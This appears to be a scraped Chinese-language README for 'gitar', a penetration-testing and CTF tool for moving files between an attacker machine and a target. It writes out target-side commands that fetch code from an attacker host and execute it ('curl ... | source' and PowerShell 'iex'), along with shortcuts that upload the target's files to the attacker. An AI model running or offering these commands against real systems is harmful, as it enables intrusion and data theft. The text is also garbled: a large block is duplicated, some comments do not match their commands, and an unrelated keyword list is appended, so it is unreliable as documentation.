ariary/gitar
GitHub: ariary/gitar
gitar 是一个使用Go编写的文件交换工具,专注于在渗透测试和CTF中通过简化命令实现目标机无需安装的快速文件传输。
Stars: 10 | Forks: 3
||
|:---:|
|**~>** 拥有 ***最简单的快捷命令*** 用于上传/下载文件到目标机器
**~>** 目标机器 ***无需安装***
**~>** ***快速且简单的*** 部署| ## 概要 *- 并听听音乐* 在我的目标机器上: - **下载文件** 从我的攻击机:`pull [文件]` *(支持文件名补全)* - **下载目录** 从我的攻击机:`pullr [目录]` - **上传文件** 到我的攻击机:`push [文件]` *上传目录** 到我的攻击机:`pushr [目录]` *在使用这些快捷方式之前,你需要 [配置](#set-up) 两台机器。再次强调,目的是尽可能简化流程* ## 配置 ### 🎸 启动 `gitar` 服务器 在 **攻击机**: ``` gitar ``` 在 **目标机** (Linux/macOS): ``` # 获取快捷方式并激活。默认复制到剪贴板并在gitar启动时打印 # 记录传入请求并检索payload参数值 source <(curl -s http://[attacker_ip:port]/alias) ``` 在 **目标机** (Windows — PowerShell): ``` (Invoke-WebRequest http://[attacker_ip:port]/aliaswinps).Content | iex ``` **就这样,你现在可以使用 `push`、`pull`、`pushr` 或 `pullr` 了 [🎶](#tldr---and-listen-music)** [`with 💥`](https://github.com/ariary/bang/blob/main/EXAMPLES.md#share-files) ### 🐋 `gitar` 服务器的安全启动 与上面相同,但在带有 HTTPS 的容器内运行,这样你作为捕食者时就不会成为猎物。 在 **攻击机**: ``` docker run -it --rm --net host --cap-drop=all --cap-add=dac_override --user $(id -u):$(id -g) -v "${PWD}:/gitar/exchange" ariary/gitar ``` [`with 💥`](https://github.com/ariary/bang/blob/main/EXAMPLES.md#share-files-safely) ### 前置条件 * 攻击机与目标机之间具备 HTTP 网络连接 * 在目标机上: * Linux/macOS:需要 `curl`、`tar` (用于目录上传/下载) * Windows:需要 `curl` 或 PowerShell (内置);`Compress-Archive` 内置 — 无需额外工具 * 在攻击机上: * `xclip` 用于将命令复制到剪贴板 (非必需) * `tree`:用于通过服务器展示目录结构 (非必需) * `dig`:用于自动查找外部 IP (非必需) ## 附加功能 ### `webhook` 模式 使用此模式来观察和记录传入的 HTTP 请求: * 记录请求信息 (参数、头部、正文) * 覆盖响应头 * 转发到另一个 HTTP 服务器 (反向代理 / 本地日志记录中间件) * 同时提供一个目录服务 ``` # 使用scp以root用户发送/img文件夹到target.com gitar webhook -P payload ``` ### `send` 模式
## 安装
```
go install github.com/ariary/gitar@latest
```
## 附加资源
- [双向交换](./BONUS.md#bidirectional-exchange)
- [🐋 容器化与双向交换](./BONUS.md#-container-and-bidirectional-exchange)
- [多路复用与端口转发](./BONUS.md#multiplexing--port-forwarding)
- [在你的绑定 Shell 中直接加载快捷命令](./BONUS.md#load-shortcut-directly-in-your-bind-shell)
**~>** 目标机器 ***无需安装***
**~>** ***快速且简单的*** 部署| ## 概要 *- 并听听音乐* 在我的目标机器上: - **下载文件** 从我的攻击机:`pull [文件]` *(支持文件名补全)* - **下载目录** 从我的攻击机:`pullr [目录]` - **上传文件** 到我的攻击机:`push [文件]` *上传目录** 到我的攻击机:`pushr [目录]` *在使用这些快捷方式之前,你需要 [配置](#set-up) 两台机器。再次强调,目的是尽可能简化流程* ## 配置 ### 🎸 启动 `gitar` 服务器 在 **攻击机**: ``` gitar ``` 在 **目标机** (Linux/macOS): ``` # 获取快捷方式并激活。默认复制到剪贴板并在gitar启动时打印 # 记录传入请求并检索payload参数值 source <(curl -s http://[attacker_ip:port]/alias) ``` 在 **目标机** (Windows — PowerShell): ``` (Invoke-WebRequest http://[attacker_ip:port]/aliaswinps).Content | iex ``` **就这样,你现在可以使用 `push`、`pull`、`pushr` 或 `pullr` 了 [🎶](#tldr---and-listen-music)** [`with 💥`](https://github.com/ariary/bang/blob/main/EXAMPLES.md#share-files) ### 🐋 `gitar` 服务器的安全启动 与上面相同,但在带有 HTTPS 的容器内运行,这样你作为捕食者时就不会成为猎物。 在 **攻击机**: ``` docker run -it --rm --net host --cap-drop=all --cap-add=dac_override --user $(id -u):$(id -g) -v "${PWD}:/gitar/exchange" ariary/gitar ``` [`with 💥`](https://github.com/ariary/bang/blob/main/EXAMPLES.md#share-files-safely) ### 前置条件 * 攻击机与目标机之间具备 HTTP 网络连接 * 在目标机上: * Linux/macOS:需要 `curl`、`tar` (用于目录上传/下载) * Windows:需要 `curl` 或 PowerShell (内置);`Compress-Archive` 内置 — 无需额外工具 * 在攻击机上: * `xclip` 用于将命令复制到剪贴板 (非必需) * `tree`:用于通过服务器展示目录结构 (非必需) * `dig`:用于自动查找外部 IP (非必需) ## 附加功能 ### `webhook` 模式 使用此模式来观察和记录传入的 HTTP 请求: * 记录请求信息 (参数、头部、正文) * 覆盖响应头 * 转发到另一个 HTTP 服务器 (反向代理 / 本地日志记录中间件) * 同时提供一个目录服务 ``` # 使用scp以root用户发送/img文件夹到target.com gitar webhook -P payload ``` ### `send` 模式
通过 SCP 快速发送文件 (点击展开)
直接将文件发送到目标,无需记住完整命令。使用提示来填充缺失的字段,并使用 `-l` 记住上次的配置。 ``` # 复用先前的设置 gitar send scp -t target.com -u root /img # 监控服务器日志中的错误 gitar send scp -l exploit.sh ```标签:AI合规, Docker, ETW劫持, HTTP 服务器, Python, Webhook, 别名管理, 力导向图, 命令行界面, 安全文件传输, 安全防御评估, 工具, 快捷命令, 文件上传, 文件下载, 文件共享, 无后门, 无安装部署, 日志审计, 日志记录, 网络信息收集, 网络安全, 请求拦截, 跨平台兼容, 隐私保护
📡 一个更高级的 Python HTTP 服务器兄弟项目